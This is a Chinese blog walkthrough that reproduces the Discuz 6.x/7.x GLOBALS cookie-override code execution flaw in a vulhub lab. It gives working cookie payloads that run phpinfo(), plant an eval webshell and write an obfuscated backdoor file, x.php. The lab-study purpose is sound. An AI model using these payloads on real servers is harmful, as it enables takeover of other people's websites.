Discuz 7.x 6.x 全局变量防御绕过漏洞复现

0x00 漏洞概述

由于php5.3.x版本里php.ini的设置里request_order默认值为GP,导致$_REQUEST中不再包含$_COOKIE,我们通过在Cookie中传入$GLOBALS来覆盖全局变量,造成代码执行漏洞

详情请参考

0x01 环境说明

靶场环境:Ubuntu16

攻击机及工具:Win7,蚁剑、BurpSuite

0x02 靶场搭建

切换目录至 /root/vulhub/discuz/wooyun-2010-080723
执行如下命令启动Discuz 7.2
  docker-compose up -d

第一次启动需要一段时间下载相关文件,启动成功界面如下

通过浏览器访问127.0.0.1:8080/install/进行安装Discuz

配置数据库

安装完成后自动跳转到网站

0x03 漏洞复现

任意访问一个帖子,用BP截获请求包,修改数据包中的Cookie字段的信息

GLOBALS[_DCACHE][smilies][searcharray]=/.*/eui; GLOBALS[_DCACHE][smilies][replacearray]=phpinfo();

页面的返回结果如下,phpinfo()成功执行

0x04 GetShell

4.1 一句话木马

在蚁剑中设置好网址和密码,再在请求头中添加Cookie信息

GLOBALS[_DCACHE][smilies][searcharray]=/.*/eui; GLOBALS[_DCACHE][smilies][replacearray]=@eval($_POST[777]);

测试之后可以成功连接,双击后可以访问网站目录及操作文件

打开虚拟终端,显示当前用户为www-data

4.2 任意文件执行

# 利用php语句在服务器端创建一个文件并写入内容
GLOBALS[_DCACHE][smilies][searcharray]=/.*/eui; GLOBALS[_DCACHE][smilies][replacearray]=eval(fputs(fopen('x.php','w'),'<?php @eval($_POST[pwd])?>'))

# 明文形式的php语句不能成功执行,于是对其进行转化
GLOBALS[_DCACHE][smilies][searcharray]=/.*/eui; GLOBALS[_DCACHE][smilies][replacearray]=eval(Chr(102).Chr(112).Chr(117).Chr(116).Chr(115).Chr(40).Chr(102).Chr(111).Chr(112).Chr(101).Chr(110).Chr(40).Chr(39).Chr(120).Chr(46).Chr(112).Chr(104).Chr(112).Chr(39).Chr(44).Chr(39).Chr(119).Chr(39).Chr(41).Chr(44).Chr(39).Chr(60).Chr(63).Chr(112).Chr(104).Chr(112).Chr(32).Chr(64).Chr(101).Chr(118).Chr(97).Chr(108).Chr(40).Chr(36).Chr(95).Chr(80).Chr(79).Chr(83).Chr(84).Chr(91).Chr(112).Chr(119).Chr(100).Chr(93).Chr(41).Chr(63).Chr(62).Chr(39).Chr(41).Chr(59))

随意访问一个帖,利用BP截获数据包,修改Cookie值

4.1中蚁剑已经成功连接,查看服务器中是否生产对应文件

在浏览器中访问x.php文件

在蚁剑中测试连接成功

添加数据后成功连接

posted on 2020-08-09 10:56  黎夜  阅读(562)  评论(0编辑  收藏  举报